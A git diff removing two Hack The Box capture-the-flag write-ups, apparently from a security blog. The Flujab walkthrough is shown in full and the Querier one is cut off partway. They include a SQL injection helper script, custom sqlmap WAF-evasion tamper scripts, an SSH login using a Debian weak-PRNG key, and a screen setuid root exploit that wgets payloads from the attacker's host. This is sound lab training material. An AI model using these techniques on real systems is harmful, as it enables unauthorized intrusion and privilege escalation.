quantity of decoys and trolls left around. The key on this box is to stay 'in scope' as the box author hinted at before the box was released, so that means enumerating two specific domains without getting distracted by all the other stuff on the box." -date: 2019-06-15 -classes: wide -header: - teaser: /assets/images/htb-writeup-flujab/flujab_logo.png -categories: - - hackthebox - - infosec -tags: - - smtp - - sqli - - enumeration - - screen - - exploit - - waf - - tamper script - - weak ssh keys ---- - -![](/assets/images/htb-writeup-flujab/flujab_logo.png) - -Flujab was without a doubt one of the toughest HTB box. It's got a ton of vhosts that force you to enumerate a lot of things and make sure you don't get distracted by the quantity of decoys and trolls left around. The key on this box is to stay 'in scope' as the box author hinted at before the box was released, so that means enumerating two specific domains without getting distracted by all the other stuff on the box. - -The hard part of the box is the SQL injection that forces you to exploit it manually or to write your own WAF evasion tamper scripts in SQLmap because the box author hardcoded some string substition in the code to defeat people blindly runnning sqlmap. This box is also rather unique because the output of the SQL queries is not seen on the web page where the query is sent but rather in an email received by SMTP, so we have to use a 2nd order SQL injection option in sqlmap or write custom code to handle this. - -When I did the box, I initially found the information I was looking for in the database but overlooked at critical column in the table row that contained the next step for getting access to the box. Eventually I found the web administation panel and was able to get access via SSH, using keys generated by Debian's weak PRNG. This was a vulnerability that I remembered when I did my OSCP. - -The priv esc was a nice one also, thankfully one of the `screen` binary seemed out of place a little bit which tipped me off otherwise it would have taken me much longer to find it. - -## Summary - -- Enumerate all the vhosts (based on the information in the SSL certificate's SAN), concentrating only on `freeflujab.htb` -- Observe that the page sets a `Modus` cookie with a path of `/?smtp_config` -- Figure out that the Cookie is just a base64 encoded value of `Configure=Null`, and that we can change it to a `True` -- Use the SMTP administration panel to set the SMTP server IP to our own IP address -- Find that the `?remind`, `?cancel`, and `?book` pages send an email which we can receive by running a local SMTP server on our machine -- The webpage code contains a Boolean Blind SQL injection and a Union based SQL injection, both of which can be exploited through the email responses -- There is a WAF in place that will block certain SQL keywords like `CASE`, `0x` and `ALL` so we need to use tamper scripts to bypass that -- After dumping the `vaccinations` database, we find an entry in the `admin` table containing the administration panel URL -- We can log in to the web admin panel using the credentials found in the database, then we have read access to files on the filesystem -- There is a user `drno` which has an `authorized_keys` file in his folder, and there is a note in `/etc/ssh/deprecated_keys` that mentions old weak keys -- This leads to one of Debian's old vulnerability where a weak PRNG can be exploited for recovering private keys based on the public key's signature -- After recovering the private key, log in as `drno` then eventually find the `screen` version running is vulnerable to a local privilege escalation - -## Tools/Blogs used - -- [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -- [https://www.exploit-db.com/exploits/41154](https://www.exploit-db.com/exploits/41154) - -## Detailed steps - -### Port scan - -Starting with the usual portscan, we only find a handful of ports open on this machine: 22, 80, 443 and 8080. - -``` -# nmap -p- -sC -sV 10.10.10.124 -Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-29 22:20 EST -Nmap scan report for clownware.htb (10.10.10.124) -Host is up (0.019s latency). -Not shown: 65531 closed ports -PORT STATE SERVICE VERSION -22/tcp open ssh? -80/tcp open http nginx -|_http-server-header: ClownWare Proxy -|_http-title: Did not follow redirect to https://clownware.htb/ -443/tcp open ssl/http nginx -|_http-server-header: ClownWare Proxy -|_http-title: Direct IP access not allowed | ClownWare -|_http-trane-info: Problem with XML parsing of /evox/about -| ssl-cert: Subject: commonName=ClownWare.htb/organizationName=ClownWare Ltd/stateOrProvinceName=LON/countryName=UK -| Subject Alternative Name: DNS:clownware.htb, DNS:sni147831.clownware.htb, DNS:*.clownware.htb, DNS:proxy.clownware.htb, DNS:console.flujab.htb, DNS:sys.flujab.htb, DNS:smtp.flujab.htb, DNS:vaccine4flu.htb, DNS:bestmedsupply.htb, DNS:custoomercare.megabank.htb, DNS:flowerzrus.htb, DNS:chocolateriver.htb, DNS:meetspinz.htb, DNS:rubberlove.htb, DNS:freeflujab.htb, DNS:flujab.htb -| Not valid before: 2018-11-28T14:57:03 -|_Not valid after: 2023-11-27T14:57:03 -|_ssl-date: TLS randomness does not represent time -| tls-alpn: -|_ http/1.1 -| tls-nextprotoneg: -|_ http/1.1 -8080/tcp open ssl/http nginx -|_http-server-header: ClownWare Proxy -|_http-title: Direct IP access not allowed | ClownWare -| ssl-cert: Subject: commonName=ClownWare.htb/organizationName=ClownWare Ltd/stateOrProvinceName=LON/countryName=UK -| Subject Alternative Name: DNS:clownware.htb, DNS:sni147831.clownware.htb, DNS:*.clownware.htb, DNS:proxy.clownware.htb, DNS:console.flujab.htb, DNS:sys.flujab.htb, DNS:smtp.flujab.htb, DNS:vaccine4flu.htb, DNS:bestmedsupply.htb, DNS:custoomercare.megabank.htb, DNS:flowerzrus.htb, DNS:chocolateriver.htb, DNS:meetspinz.htb, DNS:rubberlove.htb, DNS:freeflujab.htb, DNS:flujab.htb -| Not valid before: 2018-11-28T14:57:03 -|_Not valid after: 2023-11-27T14:57:03 -|_ssl-date: TLS randomness does not represent time -| tls-alpn: -|_ http/1.1 -| tls-nextprotoneg: -|_ http/1.1 -``` - -The first thing I noticed is the certificate Subject Alternative Name field that contains many different domains and sub-domains. I added those to my local host file so I could enumerate all those vhosts. - -The other item I noted was the SSH service didn't respond with a banner. I manually checked and confirmed that even through port 22 is open, there is no response sent back by the server. This would likely indicate either a "fake/troll service" running on this port or perhaps a whitelist wrapper of some sort configured on the port. - -### Web enumeration - -This box contains a large amount of vhosts as shown in the certificate SAN: - -- clownware.htb -- sni147831.clownware.htb -- proxy.clownware.htb -- console.flujab.htb -- sys.flujab.htb -- smtp.flujab.htb -- vaccine4flu.htb -- bestmedsupply.htb -- custoomercare.megabank.htb -- flowerzrus.htb -- chocolateriver.htb -- meetspinz.htb -- rubberlove.htb -- freeflujab.htb -- flujab.htb - -The box creator gave a small public hint in the HTB forums just before the box was released: - -> The mindset of this box is designed as follows: -> -> Treat it as a box a pentester may be tasked to look at on the real internet. -> -> Think of the box name as a kind of scope. - -So based on the name of box, I narrowed my search to the `flujab.htb` and `freeflujab.htb` domains. But just for sake of completeness, the following section contains the useless websites and trolls I found on the box. - -### Useless websites and trolling - -**bestmedsupply.htb** - -![](/assets/images/htb-writeup-flujab/bestmedsupply.png) - -**chocolateriver.htb** - -![](/assets/images/htb-writeup-flujab/chocolateriver.png) - -**custoomercare.megabank.htb** - -![](/assets/images/htb-writeup-flujab/custoomercare.png) - -**flowerzrus.htb** - -![](/assets/images/htb-writeup-flujab/flowerzrus.png) - -**meetspinz.htb** - -![](/assets/images/htb-writeup-flujab/meetspinz.png) - -**rubberlove.htb** - -![](/assets/images/htb-writeup-flujab/rubberlove.png) - -**vaccine4flu.htb** - -![](/assets/images/htb-writeup-flujab/vaccine4flu.png) - -**console.flujab.htb** - -![](/assets/images/htb-writeup-flujab/console.png) - -### Non-functional SMTP website - -The `smtp.flujab.htb` website contains a login form, this looks very interesting... Or not as it turns out. - -![](/assets/images/htb-writeup-flujab/smtp_fake.png) - -I thought there was a SQL injection of some sort on there but I quickly saw that the form doesn't do anything when you click to sign in. When we look at the code, we can see that it's badly broken and doesn't do anything when we submit the form. - -![](/assets/images/htb-writeup-flujab/smtp_code1.png) - -![](/assets/images/htb-writeup-flujab/smtp_code2.png) - -The `api` call shown above is missing the closing parantheses, plus other functions are missing such as shown_modal_error(). This whole code is basically useless. I tried fuzzing the site to find a hidden API endpoint but didn't find any. - -I found a `/README` file on the site that confirmed that this site is no longer used: - -``` - ------------------------------------- - This Service has been decommissioned! - ------------------------------------- - -Administrators can now use the configuration -section of the new free service application. -``` - -Let's move on to the `freeflujab.htb` site. - -### Enumerating the real target website - -The **freeflujab.htb** website is an healthcare information site about the Flu where patients can register, book, cancel or send a reminder for appoinments. - -![](/assets/images/htb-writeup-flujab/freeflujab1.png) - -![](/assets/images/htb-writeup-flujab/freeflujab2.png) - -**Registration: `?reg`** - -The registration doesn't work when registering a user, we can an error message about a connection error to the mailserver. The website errors out when it tries to send an email after the registration. - -![](/assets/images/htb-writeup-flujab/freeflujab_reg1.png) - -![](/assets/images/htb-writeup-flujab/freeflujab_reg2.png) - -**Booking: `?book`** - -The booking page also doesn't work for us because we don't have a valid patient name to book an appointment. - -![](/assets/images/htb-writeup-flujab/freeflujab_book1.png) - -![](/assets/images/htb-writeup-flujab/freeflujab_book2.png) - -**Cancel: `?cancel`** - -We can't get to the cancelation page as it redirects us to `?ERROR=NOT_REGISTERED` automatically. - -![](/assets/images/htb-writeup-flujab/freeflujab_cancel1.png) - -The next thing I did was check the cookies I had since the registration status must be stored in a session on the server-side or in a client cookie. - -![](/assets/images/htb-writeup-flujab/freeflujab_cookies1.png) - -The content of the `Modus` and `Registered` cookies are simply Base64 encoded: - -- Modus: `Q29uZmlndXJlPU51bGw%3D` = `Configure=Null` -- Patient: `ea879301202391042cd783affa29f92a` = -- Registered: `ZWE4NzkzMDEyMDIzOTEwNDJjZDc4M2FmZmEyOWY5MmE9TnVsbA%3D%3D` = `ea879301202391042cd783affa29f92a=Null` - -By changing the `Registered` cookie to `ea879301202391042cd783affa29f92a=True`, we are able to access the cancelation page: - -![](/assets/images/htb-writeup-flujab/freeflujab_cancel2.png) - -But we get the same SMTP error message when trying to cancel an appointment: - -![](/assets/images/htb-writeup-flujab/freeflujab_cancel3.png) - -Then I noticed in the cookies that there is a cookie set for the `/?smtp_config` path. If we try to connect to it, we get redirected to `https://freeflujab.htb/?denied`. But if we change the `Configure=Null` cookie value to `Configure=True` we are able to access the SMTP configuration page. - -![](/assets/images/htb-writeup-flujab/freeflujab_smtpconfig1.png) - -We can't set the server address to our own IP address: - -![](/assets/images/htb-writeup-flujab/freeflujab_smtpconfig2.png) - -But the validation is performed client-side so we can just use Burp to change the `smtp.flujab.htb` value for our IP address: - -![](/assets/images/htb-writeup-flujab/freeflujab_smtpconfig3.png) - -![](/assets/images/htb-writeup-flujab/freeflujab_smtpconfig4.png) - -There's also a link to see the whitelisted sysadmins but we get a denied redirection when we click on it. The problem is the `Configure=True` cookie has been set to the `/?smtp_config` path. If we change the path of the cookie to `/` we can access the whitelist page. - -![](/assets/images/htb-writeup-flujab/freeflujab_whitelist1.png) - -Changing the SMTP server address adds our IP address automatically to the whitelist. Later this same whitelist is used to allow access to the web administation panel so if the box gets reverted, we need to go back to the SMTP configuration page and change the SMTP server address again otherwise our IP can't access the admin panel. - -**Remind: `?remind`** - -The last useful link on the page is used to send appointment reminders. - -![](/assets/images/htb-writeup-flujab/freeflujab_remind1.png) - -Now that we have configured a valid SMTP address, we can send a reminder (we can choose any NHS number, it doesn't need to exist in the database)... But we get an error message: - -![](/assets/images/htb-writeup-flujab/freeflujab_remind2.png) - -The form doesn't contain an email address field, but we can intercept the request with Burp and add it ourselves: - -![](/assets/images/htb-writeup-flujab/freeflujab_remind3.png) - -We can use the python smtpd module to run an SMTP server in Kali and receive the email: - -![](/assets/images/htb-writeup-flujab/freeflujab_remind4.png) - -### SQL injection - -The email itself doesn't contain anything useful, so the next step is to fuzz the `nhsnum` input and look for an SQL injection. Instead of doing it manually through Burp, I made a quick script to speed up the process. - -```python -#!/usr/bin/python - -import requests -from pwn import * -import time - -while True: - cmd = raw_input(">").strip() - - headers = { - "Cookie": "Patient=ea879301202391042cd783affa29f92a;Registered=ZWE4NzkzMDEyMDIzOTEwNDJjZDc4M2FmZmEyOWY5MmE9VHJ1ZQ==", - } - - data = { - "nhsnum": "{}".format(cmd), - "email": "test@test.com", - "submit": "Send+Reminder" - } - - proxies = { - 'http': 'http://127.0.0.1:8080', - 'https': 'http://127.0.0.1:8080', - } - - before = time.time() - r = requests.post(url="https://freeflujab.htb/?remind", headers=headers, data=data, verify=False, proxies=proxies) - after = time.time() - delta = after-before - print("Response time: {}".format(delta)) -``` - -After fuzzing for a bit, I found a UNION based injection where the `Ref:` field in the subject header contains the return value from the 3rd column. - -![](/assets/images/htb-writeup-flujab/sql1.png) - -I wanted to use sqlmap to enumerate the database but I had a problem since sqlmap doesn't "see" the responses from the queries since they come by email through the SMTP server. So what I did was create a small script to pipe the content of `Ref:` field in the Subject header to a file in my Apache server root directory: - -```python -from datetime import datetime -import asyncore -import re -from smtpd import SMTPServer - -class EmlServer(SMTPServer): - no = 0 - def process_message(self, peer, mailfrom, rcpttos, data): - filename = '/var/www/html/test.txt' - f = open(filename, 'w') - buf = data.splitlines() - for line in buf: - # print line - if 'Ref:' in line: - print line.split('Ref:')[1] - f.write(line.split('Ref:')[1]) - f.close - print 'Message %d, %s saved.' % (self.no, filename) - self.no += 1 - -def run(): - foo = EmlServer(('10.10.14.23', 25), None) - try: - asyncore.loop() - except KeyboardInterrupt: - pass - - -if __name__ == '__main__': - run() -``` - -Then I used the `--second-url` option in sqlmap to make it check my local webserver for the query reponse. I added a tamper script first in the chain so it wipes the content of the reponse file, so that if the query errors out on the server it doesn't cause a false positive. - -**delete.py** - -```python -def tamper(payload, **kwargs): - retVal = payload - f = open('/var/www/html/test.txt', 'w') - f.write('') - f.close() - sleep(0.5) - return retVal -``` - -I then used the following sqlmap command: `sqlmap --threads 1 -r /root/htb/flujab/flujab.req --risk=3 -p nhsnum --random-agent --proxy=http://127.0.0.1:8080 --second-url http://127.0.0.1/test.txt --tamper delete --force-ssl --technique u --union-cols 5 --union-char 1 -vv --suffix " #" --dbms=mysql --flush-session` - -But I had problems getting sqlmap working correctly, for some reason even when I gave it the correct number of columns it didn't find the injection point. - -![](/assets/images/htb-writeup-flujab/sql2.png) - -Then I remembered that on some of the webpages there was a `Protected By ClownWare.htb` message at the bottom. So I figured there was a WAF messing with some of the parameters sent to the server. - -After playing with the queries manually, I found that `ALL`, `0x` and `CASE` keywords are modified by the server: - -![](/assets/images/htb-writeup-flujab/sql3.png) - -![](/assets/images/htb-writeup-flujab/sql4.png) - -![](/assets/images/htb-writeup-flujab/sql5.png) - -For the `ALL` and `0x` statements, I used the `unionalltounion` and `0x2char` tamper scripts already included in sqlmap but for `CASE` I made my own script to replace it with an `IF` statement: - -**case.py** - -```python -def tamper(payload, **kwargs): - retVal = payload - if payload: - retVal = retVal.replace("CASE WHEN", "IF(") - retVal = retVal.replace("THEN 1 ELSE 0 END", ",1,0)") - return retVal -``` - -The final sqlmap command is: `sqlmap --threads 1 -r /root/htb/flujab/flujab.req --risk=3 -p nhsnum --random-agent --proxy=http://127.0.0.1:8080 --second-url http://127.0.0.1/test.txt --tamper delete --force-ssl --technique u --union-cols 5 --union-char 1 -vv --suffix " #" --dbms=mysql --tamper unionalltounion --tamper 0x2char --tamper case` - -It's not fast but after a few minutes it found the injection point: - -![](/assets/images/htb-writeup-flujab/sql6.png) - -Now that we have the injection working in sqlmap, I was able to dump the list of databases: - -``` -[*] information_schema -[*] MedStaff -[*] mysql -[*] openmrs -[*] performance_schema -[*] phplist -[*] vaccinations -``` - -The `vaccinations` database contains the following tables: - -``` -+------------------------+ -| user | -| admin | -| admin_attribute | -| admin_password_request | -| adminattribute | -| admintoken | -| eventlog | -[...] -``` - -I dumped the `admin` table and found some credentials and a vhost that I previously didn't have: `sysadmin-console-01.flujab.htb` - -![](/assets/images/htb-writeup-flujab/sql7.png) - -The hash was easily cracked with john and rockyou.txt: - -- sysadm / th3doct0r - -### Access to the SMTP configuration page - -The admin panel is running the Ajenti application: - -![](/assets/images/htb-writeup-flujab/webadmin1.png) - -We can log in with the `sysadm` credentials we found in the database, and we can use the Notepad tool to read & write files: - -![](/assets/images/htb-writeup-flujab/webadmin2.png) - -The `/home/drno` folder contains two interesting files in the `.ssh` directory: - -![](/assets/images/htb-writeup-flujab/webadmin3.png) - -The `userkey` file contains an encrypted SSH private key that we can crack with ssh2john / john (password: shadowtroll) but we can't use it because it doesn't match the `authorized_keys` file. `authorized_keys` contains a hint about whitelisting but other than that it doesn't seem possible to exploit this since we don't have the matching private key. - -``` -# shell whitelisting + key auth enabled -ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAqTfCP9e71pkBY+uwbr+IIx1G1r2G1mcjU5GsA42OZCWOKhWg2VNg0aAL+OZLD2YbU/di+cMEvdGZNRxCxaBNtGfMZTTZwjMNKAB7sJFofSwM29SHhuioeEbGU+ul+QZAGlk1x5Ssv+kvJ5/S9vUESXcD4z0jp21CxvKpCGI5K8YfcQybF9/v+k/KkpDJndEkyV7ka/r/IQP4VoCMQnDpCUwRCNoRb/kwqOMz8ViBEsg7odof7jjdOlbBz/F9c/s4nbS69v1xCh/9muUwxCYtOxUlCwaEqm4REf4nN330Gf4I6AJ/yNo2AH3IDpuWuoqtE3a8+zz4wcLmeciKAOyzyoLlXKndXd4Xz4c9aIJ/15kUyOvf058P6NeC2ghtZzVirJbSARvp6reObXYs+0JMdMT71GbIwsjsKddDNP7YS6XG+m6Djz1Xj77QVZbYD8u33fMmL579PRWFXipbjl7sb7NG8ijmnbfeg5H7xGZHM2PrsXt04zpSdsbgPSbNEslB78RC7RCK7s4JtroHlK9WsfH0pdgtPdMUJ+xzv+rL6yKFZSUsYcR0Bot/Ma1k3izKDDTh2mVLehsivWBVI3a/Yv8C1UaI3lunRsh9rXFnOx1rtZ73uCMGTBAComvQY9Mpi96riZm2QBe26v1MxIqNkTU03cbNE8tDD96TxonMAxE= -``` - -However after looking for a bit, I found the `/etc/ssh/deprecated_keys` directory that contains the following files: - -![](/assets/images/htb-writeup-flujab/webadmin4.png) - -README.txt has the following message: -``` -Copies of compromised keys will be kept here for comparison until all staff -have carried out PAM update as per the surgery security notification email. - -!!! DO NOT RE-USE ANY KEYS LINKED TO THESE !!! - - -UPDATE.. -All bad priv keys have now been deleted, only pub keys are retained -for audit purposes. -``` - -I remember from my OSCP days that there was a vulnerability in an old Debian release where: - -> All SSL and SSH keys generated on Debian-based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected. - -[Debian OpenSSL Predictable PRNG](https://github.com/g0tmi1k/debian-ssh) - -So basically we just need to look through the repo and find the matching private key for DrNo's public key. - -Getting the public key fingerprint: - -``` -root@ragingunicorn:~/htb/flujab# ssh-keygen -l -E md5 -f 5.pub | tr -d ":" -4096 MD5dead0b5b829ea2e3d22f47a7cbde17a6 drno@flujab.htb (RSA) -``` - -Finding the matching private key: - -``` -root@ragingunicorn:~/debian-ssh# ls -lR | grep dead0b5b829ea2e3d22f47a7cbde17a6 --rw------- 1 root root 3239 May 14 2008 dead0b5b829ea2e3d22f47a7cbde17a6-23269 --rw-r--r-- 1 root root 740 May 14 2008 dead0b5b829ea2e3d22f47a7cbde17a6-23269.pub - -root@ragingunicorn:~/debian-ssh# find ./ -name dead0b5b829ea2e3d22f47a7cbde17a6-23269 -./uncommon_keys/rsa/4096/dead0b5b829ea2e3d22f47a7cbde17a6-23269 -``` - -We still can't connect to the SSH service though, we need to fix that first. The `/etc/ssh/sshd_wl` file is a whitelist that can be modified so we can add our IP address. - -![](/assets/images/htb-writeup-flujab/webadmin5.png) - -We can then log in with private key from `drno`: - -``` -root@ragingunicorn:~/debian-ssh/uncommon_keys/rsa/4096# ssh -i dead0b5b829ea2e3d22f47a7cbde17a6-23269 drno@10.10.10.124 -Linux flujab 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 - -The programs included with the Debian GNU/Linux system are free software; -the exact distribution terms for each program are described in the -individual files in /usr/share/doc/*/copyright. - -Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent -permitted by applicable law. -rbash: dircolors: command not found -drno@flujab:~$ cat user.txt -c519aa... -``` - -### Privesc - -We seem to be stuck in a rbash restricted shell, we need to escape that first: - -``` -drno@flujab:~$ ls -l/ -user.txt -drno@flujab:~$ cat user.txt -c519aa... -drno@flujab:~$ cd .. -rbash: cd: restricted -``` - -Escape is easy with `-t bash --norc --noprofile`: - -``` -root@ragingunicorn:~/debian-ssh/uncommon_keys/rsa/4096# ssh -i dead0b5b829ea2e3d22f47a7cbde17a6-23269 drno@10.10.10.124 -t bash --norc --noprofile -bash-4.4$ cd / -bash-4.4$ ps - PID TTY TIME CMD - 1151 pts/0 00:00:00 bash - 1152 pts/0 00:00:00 ps -bash-4.4$ whoami -drno -bash-4.4$ id -uid=1000(drno) gid=1000(drno) groups=1000(drno),1002(super),1003(medic),1004(drugs),1005(doctor) -``` - -Two copies of the screen program were found on the system, the 2nd one is suid so it will execute as root. - -``` -bash-4.4$ ls -l /usr/bin/screen --rwSr-xr-x 1 root utmp 457608 Dec 9 22:02 /usr/bin/screen -bash-4.4$ ls -l /usr/local/share/screen/screen --rwsr-xr-x 1 root root 1543016 Nov 27 13:49 /usr/local/share/screen/screen -``` - -> 'S' = setgid bit is set, but the execute bit isn't set. -> 's' = setgid bit is set, and the execute bit is set. - -After checking the version, there is an exploit available for screen: - -``` -bash-4.4$ /usr/local/share/screen/screen --version -Screen version 4.05.00 (GNU) 10-Dec-16 -``` - -[https://www.exploit-db.com/exploits/41154](https://www.exploit-db.com/exploits/41154) - -First, we'll just compile the exploit: - -``` -root@ragingunicorn:/tmp# gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c -``` - -Next, we upload it to the server: - -``` -bash-4.4$ cd /tmp -bash-4.4$ wget 10.10.14.23:4444/rootshell ---2019-01-30 03:27:16-- http://10.10.14.23:4444/rootshell -Connecting to 10.10.14.23:4444... connected. -HTTP request sent, awaiting response... 200 OK -Length: 16824 (16K) [application/octet-stream] -Saving to: ‘rootshell’ - -rootshell 16.43K --.-KB/s in 0.008s - -2019-01-30 03:27:16 (2.05 MB/s) - ‘rootshell’ saved [16824/16824] - -bash-4.4$ wget 10.10.14.23:4444/libhax.so ---2019-01-30 03:27:25-- http://10.10.14.23:4444/libhax.so -Connecting to 10.10.14.23:4444... connected. -HTTP request sent, awaiting response... 200 OK -Length: 16136 (16K) [application/octet-stream] -Saving to: ‘libhax.so’ - -libhax.so 15.76K --.-KB/s in 0.008s - -2019-01-30 03:27:25 (1.94 MB/s) - ‘libhax.so’ saved [16136/16136] - -bash-4.4$ chmod +x rootshell -``` - -Then execute it: - -``` -bash-4.4$ chmod +x rootshell -bash-4.4$ cd /etc -bash-4.4$ umask 000 -bash-4.4$ screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" -Directory '/run/screen' must have mode 755. -bash-4.4$ screen -ls -Directory '/run/screen' must have mode 755. -bash-4.4$ /tmp/rootshell -$ -``` - -Uh? No root privileges? - -Oh... I forgot to use the correct binary in `/usr/local/share/screen` which is setuid. Let's try again with the right path: - -``` -bash-4.4$ /usr/local/share/screen/screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" -bash-4.4$ /usr/local/share/screen/screen -ls -No Sockets found in /tmp/screens/S-drno. - -bash-4.4$ /tmp/rootshell -# id -uid=0(root) gid=0(root) groups=0(root),1000(drno),1002(super),1003(medic),1004(drugs),1005(doctor) -# cat /root/root.txt -70817... -``` \ No newline at end of file diff --git a/_posts/2019-06-22-htb-writeup-querier.md b/_posts/2019-06-22-htb-writeup-querier.md deleted file mode 100644 index a2ec730aa5..0000000000 --- a/_posts/2019-06-22-htb-writeup-querier.md +++ /dev/null @@ -1,348 +0,0 @@ ---- -layout: single -title: Querier - Hack The Box -excerpt: "To solve Querier, we find an Excel spreadsheet that contains a VBA macro then use Responder to capture NTLM hashes from the server by forcing it to connect back to our machine with `xp_dirtree`. After cracking the hash, we gain RCE on the server by using the standard `xp_cmdshell` command. The Administator credentials are found in a Group Policy Preference file." -date: 2019-06-22 -classes: wide -header: - teaser: /assets/images/htb-writeup-querier/querier_logo.png -categories: - - hackthebox - - infosec -tags: - - windows - - hardcoded credentials - - mssql - - gpp - - winrm - - impacket - - responder ---- - -![](/assets/images/htb-writeup-querier/querier_logo.png) - -To solve Querier, we find an Excel spreadsheet that contains a VBA macro then use Responder to capture NTLM hashes from the server by forcing it to connect back to our machine with `xp_dirtree`. After cracking the hash, we gain RCE on the server by using the standard `xp_cmdshell` command. The Administator credentials are found in a Group Policy Preference file. - -## Summary - -- An SMB share contains a binary file with hardcoded MSSQL credentials -- We can log in to MSSQL and get the `mssql-svc` user hash using `xp_dirtree` and responder -- Logging in as `mssql-svc` to MSSQL we can use `xp_cmdshell` to get RCE -- Using PowerUp, we find the administrator password in a GPP xml file - -## Detailed steps - -Port scan shows SMB is open, along with MSSQL and WinRM. - -``` -# nmap -sC -sV -p- 10.10.10.125 -oA querier -Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-16 00:56 EST -Nmap scan report for querier.htb (10.10.10.125) -Host is up (0.013s latency). -Not shown: 65521 closed ports -PORT STATE SERVICE VERSION -135/tcp open msrpc Microsoft Windows RPC -139/tcp open netbios-ssn Microsoft Windows netbios-ssn -445/tcp open microsoft-ds? -1433/tcp open ms-sql-s Microsoft SQL Server 14.00.1000.00 -| ms-sql-ntlm-info: -| Target_Name: HTB -| NetBIOS_Domain_Name: HTB -| NetBIOS_Computer_Name: QUERIER -| DNS_Domain_Name: HTB.LOCAL -| DNS_Computer_Name: QUERIER.HTB.LOCAL -| DNS_Tree_Name: HTB.LOCAL -|_ Product_Version: 10.0.17763 -| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback -| Not valid before: 2019-02-16T18:52:53 -|_Not valid after: 2049-02-16T18:52:53 -|_ssl-date: 2019-02-16T18:54:24+00:00; +12h57m10s from scanner time. -5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) -|_http-server-header: Microsoft-HTTPAPI/2.0 -|_http-title: Not Found -47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) -|_http-server-header: Microsoft-HTTPAPI/2.0 -|_http-title: Not Found -49664/tcp open msrpc Microsoft Windows RPC -49665/tcp open msrpc Microsoft Windows RPC -49666/tcp open msrpc Microsoft Windows RPC -49667/tcp open msrpc Microsoft Windows RPC -49668/tcp open msrpc Microsoft Windows RPC -49669/tcp open msrpc Microsoft Windows RPC -49670/tcp open msrpc Microsoft Windows RPC -49671/tcp open msrpc Microsoft Windows RPC -Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows - -Host script results: -|_clock-skew: mean: 12h57m10s, deviation: 0s, median: 12h57m09s -| ms-sql-info: -| 10.10.10.125:1433: -| Version: -| name: Microsoft SQL Server -| number: 14.00.1000.00 -| Product: Microsoft SQL Server -|_ TCP port: 1433 -| smb2-security-mode: -| 2.02: -|_ Message signing enabled but not required -| smb2-time: -| date: 2019-02-16 13:54:23 -|_ start_date: N/A -``` - -### SMB share enumeration - -The share enumeration didn't work reliably when I first did the box. For some reason I would get random connection timeouts. I had to try the enumeration a few times, I don't know why though. - -``` -# smbmap -u invalid -H 10.10.10.125 -[+] Finding open SMB ports.... -[+] Guest SMB session established on 10.10.10.125... -[+] IP: 10.10.10.125:445 Name: querier.htb - Disk Permissions - ---- ----------- - ADMIN$ NO ACCESS - C$ NO ACCESS - IPC$ READ ONLY - Reports READ ONLY -``` - -There a `Reports` share that our user has read access to. I logged on using smbclient and downloaded the file. - -``` -# smbclient -U QUERIER/invalid //10.10.10.125/Reports -Enter QUERIER\invalid's password: -Try "help" to get a list of possible commands. -smb: \> ls - . D 0 Mon Jan 28 18:23:48 2019 - .. D 0 Mon Jan 28 18:23:48 2019 - Currency Volume Report.xlsm A 12229 Sun Jan 27 17:21:34 2019 - - 6469119 blocks of size 4096. 1572541 blocks available -smb: \> get "Currency Volume Report.xlsm" -getting file \Currency Volume Report.xlsm of size 12229 as Currency Volume Report.xlsm (124.4 KiloBytes/sec) (average 124.4 KiloBytes/sec) -``` - -The 2007+ Microsoft Office format is basically a zip compressed file. We can see the contents of that Macro file without using LibreOffice with: - -``` -# file 'Currency Volume Report.xlsm' -Currency Volume Report.xlsm: Microsoft Excel 2007+ - -# unzip 'Currency Volume Report.xlsm' -Archive: Currency Volume Report.xlsm - inflating: [Content_Types].xml - inflating: _rels/.rels - inflating: xl/workbook.xml - inflating: xl/_rels/workbook.xml.rels - inflating: xl/worksheets/sheet1.xml - inflating: xl/theme/theme1.xml - inflating: xl/styles.xml - inflating: xl/vbaProject.bin - inflating: docProps/core.xml - inflating: docProps/app.xml -``` - -I checked out all the files and eventually found a connection string inside the `vbaProject.bin` binary file: - -``` -# strings vbaProject.bin - macro to pull data for client volume reports -n.Conn] -Open -rver=< -SELECT * FROM volume; -word> - MsgBox "connection successful" -Set rs = conn.Execute("SELECT * @@version;") -Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6 -``` - -So it seems that the username and password for the MSSQL server have been hardcoded into the macro. We can also see this by opening the file in LibreOffice and checking out the macros: - -![](/assets/images/htb-writeup-querier/mssql_credentials.png) - -- Username: `reporting` -- Password: `PcwTWTHRwryjc$c6` - -### Getting RCE through MSSQL - -I used the Impacket `mssqlclient.py` to connect to the database: - -``` -# /usr/share/doc/python-impacket/examples/mssqlclient.py -windows-auth querier/reporting@querier.htb -Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies - -Password: -[*] Encryption required, switching to TLS -[*] ENVCHANGE(DATABASE): Old Value: master, New Value: volume -[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: us_english -[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 -[*] INFO(QUERIER): Line 1: Changed database context to 'volume'. -[*] INFO(QUERIER): Line 1: Changed language setting to us_english. -[*] ACK: Result: 1 - Microsoft SQL Server (140 3232) -[!] Press help for extra shell commands -SQL> -``` - -The first thing I tried was to use `xp_cmdshell` to run commands but the current user doesn't have enough privileges: - -``` -SQL> xp_cmdshell "whoami"; -[-] ERROR(QUERIER): Line 1: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'. -SQL> EXEC sp_configure 'show advanced options', 1; -[-] ERROR(QUERIER): Line 105: User does not have permission to perform this action. -SQL> RECONFIGURE; -[-] 